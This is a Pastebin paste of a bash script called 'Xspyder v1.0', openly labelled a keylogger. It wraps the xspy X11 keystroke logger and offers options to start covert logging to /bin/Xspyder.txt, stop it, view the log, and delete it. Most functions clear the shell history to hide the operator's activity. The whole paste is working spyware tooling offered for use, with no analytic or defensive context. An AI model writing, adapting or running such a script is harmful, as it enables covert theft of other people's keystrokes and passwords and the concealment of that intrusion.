Advertisement
fenix_of_fire

Xspyder v1.0

Feb 5th, 2017
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.66 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. ####----All these commands were tested on kali linux 2.0 debian jessie----######
  4.  
  5. #### FUNCTION'S-----------------------####
  6.  
  7. initiate() {
  8. clear;
  9. xspy >> /bin/Xspyder.txt &
  10. clear;
  11. history -c
  12. clear;
  13. exit;
  14. }
  15.  
  16. stop() {
  17. clear;
  18. s0="$(jobs -l | grep "xspy" | cut -c2)"
  19. kill -9 %"$s0";
  20. clear;
  21. history -c
  22. exit;
  23. }
  24.  
  25. log() {
  26. clear;
  27. less /bin/Xspyder.txt
  28. clear;
  29. history -c
  30. exit;
  31. }
  32.  
  33. remove() {
  34. clear;
  35. rm -rf /bin/Xspyder.txt;
  36. clear;
  37. history -c
  38. exit;
  39. }
  40. #########-------------------------------------------------------####
  41.  
  42. #### IS CHECKING IF XSPY IS INSTALLED ON SYSTEM------####
  43.  
  44. test="$(xspy test |tr " " "\n" | grep "xspy" | tr -d ":")"
  45. echo $test
  46. if [ "$test" !=  "xspy" ]; then
  47. clear;
  48. echo
  49. echo " Please install the xspy : "
  50. echo "'git clone https://github.com/mnp/xspy.git'"
  51. echo "  gcc -o xspy -lX11 xspy.c "
  52. echo
  53. exit
  54. fi
  55.  
  56. ########--------------------------------------------------------####
  57.  
  58. #### HELP and BANNER----------------------####
  59.  
  60. if [ "$1" == "" ]; then
  61. clear;
  62. #echo " **XSPY script"
  63. printf "
  64.         ,
  65.        ::                   ::        
  66.       ::                     ::      
  67.       ::     XSPY            ::      
  68.       ':          script.    :        
  69.        :.                    :        
  70.     :' ::                   ::  '    
  71.    .'  ':                   :'  '.    
  72.   ::    ::                 ::    ::  
  73.   :      ::.             ,::     ::  
  74.   ::      ::'           ,:'      ::  
  75.   ::.      ':'  ..,..  ':'     ,.::  
  76.    '''...   '::,::::: :    .:.:'''    
  77.        ''''....':::::',..''''        
  78.    .:::.....''':::::::'',...:::::.  
  79.   ':' '''''':.,:::::::.'''''''  ':'  
  80.  ::'         '::':::'::..         :'  
  81. ::         ,'::::::::::::..        ::
  82. ''     ,..''::::::::::::::'''..    ':.
  83. ::     ':'  ::::::''''::::::  ':     ::
  84. :.    ::   :::::::  :::::::   :     '
  85.  '    ::   :::::::  :::::::   :    '  
  86.   '   ::   ::::::....::::::  ,:   '  
  87.    '  ::    ::::::::::::::   ::      
  88.       ::     '::::::::::'    ::      
  89.       ':       ''''''''      ::      
  90.        ::                   ':        
  91.        '''                 ':'        
  92.          ''              ,''          
  93. keylogger   ''           ''             By:init-0
  94. ";
  95. echo -e "\n*Usage:\n\t-i --initialization\n\t-s --stop\n\t-l --log\n\t-r --remove\n"
  96. history -c
  97. exit;
  98. #########--------------------------------------------------------####
  99.  
  100. #### ALGORITHM--------------------------####
  101. else
  102. a0000b=$1
  103. fi
  104. case $a0000b in
  105.     -i) initiate; ;;
  106.     -s) stop; ;;
  107.     -l) log; ;;
  108.     -r) remove; ;;
  109. esac
  110. exit;
  111.  
  112. ##########--------------------------------------------------------####
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement